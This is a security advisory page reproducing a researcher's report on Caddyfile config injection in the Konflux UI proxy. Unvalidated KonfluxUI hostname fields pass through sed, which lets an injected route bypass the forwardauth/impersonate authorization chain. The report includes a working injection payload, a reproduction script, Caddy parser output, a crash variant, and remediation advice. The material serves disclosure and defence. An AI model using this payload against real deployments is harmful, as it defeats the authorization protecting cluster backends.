REDHAT-BUG-2569294: Input Validation

Published Nov 10, 2026
·
Updated

Reported by an upstream user to konflux-sec

~~~Start Report~~~

Security Report: Konflux UI Proxy — Caddyfile Config Injection via Unvalidated Hostname Fields Title Unvalidated hostname fields enable Caddyfile config injection in the Konflux UI proxy generator, allowing an unauthenticated route to be spliced ahead of the forwardauth/impersonate authorization chain Reporter Details: Github: abhi04anon Linkedin: https://www.linkedin.com/in/abhirup-sarkar-/ Technical Description: generate-proxy-config.sh (and its duplicated copy embedded in operator/pkg/manifests/ui/manifests.yaml) builds the UI proxy's live Caddyfile by running unvalidated hostname values through sed: hostname="${KITEHOSTNAME:-konflux-kite.konflux-kite.svc.cluster.local}" sed "s/KITEHOSTNAME/${hostname}/g" "${TEMPLATESDIR}/kite.caddy" > "${SNIPPETSDIR}/kite.caddy" Four near-identical call sites do this for KITEHOSTNAME, KUBEARCHIVEHOSTNAME, WATSONHOSTNAME, and TEKTONRESULTSHOSTNAME. Source of the tainted value: spec.{tektonResults,kite,kubeArchive,watson}.hostname on the KonfluxUI custom resource, propagated to the proxy init container's env vars in operator/internal/controller/ui/konfluxuicontroller.go (WithOptionalEnvOverride / WithEnvOverride) with no format or charset validation in the CRD schema. Sink: the generated snippet file is import-ed directly into the main Caddyfile via import /mnt/caddy-snippets/.caddy. That Caddyfile is the sole enforcement point for forwardauth 127.0.0.1:6000 (oauth2-proxy) → impersonate before any request reaches the Kubernetes API or an internal backend (Tekton Results, KubeArchive, Kite). Because the substituted value becomes live Caddy syntax, not inert text, a value containing GNU-sed-escaped newlines (\<newline>, sed's own syntax for a literal newline in a replacement) plus Caddy directives is parsed as real configuration structure. This lets an attacker close the authenticated route { } block early and splice in a new, matcher-less, unconditional route — one that never passes through forwardauth/impersonate.

A simpler variant exists too: any value containing a literal / collides with sed's own s/.../.../

delimiter and crashes the generator outright (sed: unknown option to 's') — a denial-of- service on proxy startup, independent of the structural-injection path.

Why existing CI tooling misses it: the repo runs differential-shellcheck, but the variable is correctly quoted ("${hostname}"); shellcheck has no model of "this string becomes a second

file's syntax," so there is nothing for it to flag. This is a semantic/cross-file bug, not a shell- quoting bug.

Root cause class: CWE-94 (Improper Control of Generation of Code — 'Code Injection') /

CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences), via unsafe text- templating of a security-enforcing config file. Secondary: CWE-20 (Improper Input Validation)

for the crash variant. Novelty check: searched the repository's issues/PRs, public GHSA/NVD sources, and the web for this file and bug class — found no existing report as of 2026-11-09. Affected Versions: Reproduced against konflux-ci/konflux-ci, main branch, v0.2.2: • operator/upstream-kustomizations/ui/core/proxy/generate-proxy-config.sh (lines ~40, 50, 58, 70) • operator/pkg/manifests/ui/manifests.yaml (lines ~273, 283, 291, 300 — embedded copy) Reproduction Steps: Minimal, fully offline uses a verbatim copy of the real template and, for step 3, the real upstream Caddy v2.8.4 binary: #!/bin/sh set -eu TEMPLATE="./tekton-results.caddy.tpl" # verbatim copy of the real template OUT="./tekton-results.caddy.generated"

1. Baseline — legitimate hostname produces a clean, correctly-nested route hostname="tekton-results-api-service.tekton-pipelines.svc.cluster.local" sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT"

2. Crafted hostname — this is the project's actual vulnerable sed line, fed a value a KonfluxUI CR field has no validation to reject. Each \<newline> is GNU sed's own syntax for a literal newline in a replacement; no literal "/" is used since that would break sed's own delimiter first (see step 4). hostname='legit.svc.cluster.local\ }\ handle {\ respond "injected-unauthenticated-route" 200\ }\ route {\ reverseproxy 127.0.0.1:9 {'

sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" > "$OUT" cat "$OUT"

3. Validate with Caddy's own parser (authoritative). impersonate/injectcachedvars are konflux's own custom Caddy modules (not in stock upstream Caddy, not vendored in this repo) — stripped for this parser-validation step only; nothing else in the generated output is altered. printf '{\n\tautohttps off\n}\n:9443 {\n' > full.Caddyfile sed -e '/^\simpersonate\s$/d' -e '/^\sinjectcachedvars\s$/d' "$OUT" >> full.Caddyfile printf '}\n' >> full.Caddyfile ./caddy adapt --config full.Caddyfile --adapter caddyfile

4. Simpler failure mode — a bare "/" crashes the generator outright.

hostname="tekton-results.example.com/evil" sed "s/TEKTONRESULTSHOSTNAME/${hostname}/" "$TEMPLATE" Output — step 2 (crafted value; note the early and spliced handle {}): handlepath /api/k8s/plugins/tekton-results/\ {\ &#x20;route {\ &#x20;forwardauth 127.0.0.1:6000 {\ &#x20;uri /oauth2/auth\ &#x20;headerup Authorization {http.request.header.Authorization}\ &#x20;copyheaders X-Auth-Request-Email X-Auth-Request-Groups\ &#x20;}\ &#x20;impersonate\ &#x20;injectcachedvars\ &#x20;requestheader -Authorization\ &#x20;reverseproxy https://legit.svc.cluster.local\ &#x20;}\ &#x20;handle {\ &#x20;respond “injected-unauthenticated-route” 200\ &#x20;}\ &#x20;route {\ &#x20;reverseproxy 127.0.0.1:9 {:8080 {\ &#x20;...\ &#x20;}\ &#x20;}\ &#x20;} Output — step 3 (real Caddy parser, compiled JSON — the authoritative result): {"apps":{"http":{"servers":{"srv0":{"listen":[":9443"],"routes":[ {"match":[{"path":["/api/k8s/plugins/tekton-results/"]}], "handle":[{"handler":"subroute","routes":[

{"handle":[{"handler":"rewrite","strippathprefix":"/api/k8s/plugins/tekton-results"}]}, {"handle":[{"handler":"subroute","routes":[

{"handle":[{"body":"injected-unauthenticated- route","handler":"staticresponse","statuscode":200}]}

]}, {"handler":"subroute","routes":[{"handle":[ {"handler":"reverseproxy", "...forwardauth to 127.0.0.1:6000..."}, {"handler":"headers","request":{"delete":["Authorization"]}}, {"handler":"reverseproxy","upstreams":[{"dial":"legit.svc.cluster.local:443"}]} ]}]} ]}, {"handle":[{"handler":"subroute","routes":[{"handle":[ {"handler":"reverseproxy","upstreams":[{"dial":"127.0.0.1:9"},{"dial":"{:8080"}]} ]}]}]} ]}]} ]}}}}} Caddy's own compiler confirms the structural break: routes is an array evaluated in order, and the injected staticresponse handler ("injected-unauthenticated-route", HTTP 200) is its own unconditional sibling entry with no matcher — it sits ahead of the forwardauth/impersonate/reverseproxy chain, which has been demoted to a separate, later sibling route rather than the thing wrapping the whole request. Output — step 4 (DoS variant): sed: -e expression #1, char 59: unknown option to s’ Impact Assessment • Confidentiality / Integrity / Availability: an unconditional route can be spliced in ahead of the authentication/authorization gate for every backend this proxy fronts (Kubernetes API, Tekton Results, KubeArchive, Kite). Combined with the proxy ServiceAccount's existing cluster-wide impersonate grant on users/groups (operator/upstream-kustomizations/ui/core/proxy/rbac.yaml), a route that reaches the Kubernetes API without passing through forwardauth/impersonate first undermines the entire authorization model the proxy exists to enforce.

• Availability (secondary): a hostname value containing / crashes the config generator outright, preventing the UI proxy from starting at all. • Access required to trigger it: write access to the KonfluxUI CR's hostname fields.

Today that's effectively an admin-only surface, so this should be read as a defense-in- depth / input-validation gap rather than a pre-auth remote exploit — but that

framing can change quickly in GitOps pipelines or delegated-admin setups where CR fields are templated from less-trusted inputs.

• Estimated CVSS 3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → 9.1 (Critical), self- calculated and offered as a starting point for maintainer triage rather than an

authoritative score. Scope is Changed because the flaw in the config-generator component affects a different security authority (the Kubernetes-API authorization boundary enforced downstream); Privileges Required is High to reflect the CR-write prerequisite. Suggested Fix • Do not template security-enforcing syntax with sed against free-form strings. Either: o Validate each hostname field against a strict DNS-hostname regex (e.g., RFC 1123 label rules) in the CRD schema (+kubebuilder:validation:Pattern) and again defensively in the controller before it reaches the env var, rejecting anything else; or o Avoid text-templating entirely — have Caddy read the hostname at runtime via {env.KITEHOSTNAME} placeholders instead of baking the value into the file via sed.

• Separately, make the generator fail closed: if sed exits non-zero for any of the four substitutions, the init container should fail the pod rather than potentially emitting a partially-written or malformed snippet. Disclosure Status Not yet shared with the maintainers or any other party, and not published anywhere. Intended next step is private disclosure through the process listed in the project's SECURITY.md (github.com/konflux-ci/.github/blob/main/SECURITY.md). No conference or public-disclosure plans at this time; happy to follow whatever embargo/disclosure timeline the maintainers' security process specifies.

Affected Software

0 affected components

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Validate each of spec.{tektonResults,kite,kubeArchive,watson}.hostname against a strict DNS-hostname regex in the CRD schema and validate it again in the controller before placing it in environment variables.

    KonfluxUI hostname fields and controller hostname validation = strict DNS-hostname regex (e.g., RFC)
  2. Configuration

    Avoid text-templating security-enforcing Caddy syntax with sed; have Caddy read each hostname at runtime through environment placeholders instead of baking hostname values into the generated Caddyfile.

    Caddy proxy config generator hostname templating = {env.KITE_HOSTNAME} and equivalent Caddy environment placeholders
  3. Configuration

    If any of the four sed substitutions exits non-zero, fail the generator and the init container so the proxy does not start with a partially written or malformed snippet.

    Caddy proxy config generator/init container substitution failure handling = fail closed

Event History

Nov 10, 2026
Data Sourced
via Red Hat·05:25 AM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What access does an attacker need to exploit this issue?

The attacker needs a way to supply malicious values in the KonfluxUI custom resource hostname fields: spec.tektonResults.hostname, spec.kite.hostname, spec.kubeArchive.hostname, or spec.watson.hostname. Those values are propagated into proxy init-container environment variables and inserted into the generated Caddyfile.

2

Are deployments using the documented fallback hostname values exposed?

The affected script uses fixed fallback values when the relevant environment variables are unset. The reported injection path depends on hostname values supplied through the KonfluxUI custom resource fields rather than the fallback values themselves.

3

How can I check whether an instance may already be affected?

Review KonfluxUI custom resources for unexpected or malformed values in the tektonResults, kite, kubeArchive, and watson hostname fields. Also inspect the generated proxy Caddyfile snippets, including kite.caddy, for routes or directives that were not expected, particularly entries placed before the forward_auth or impersonate authorization chain.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203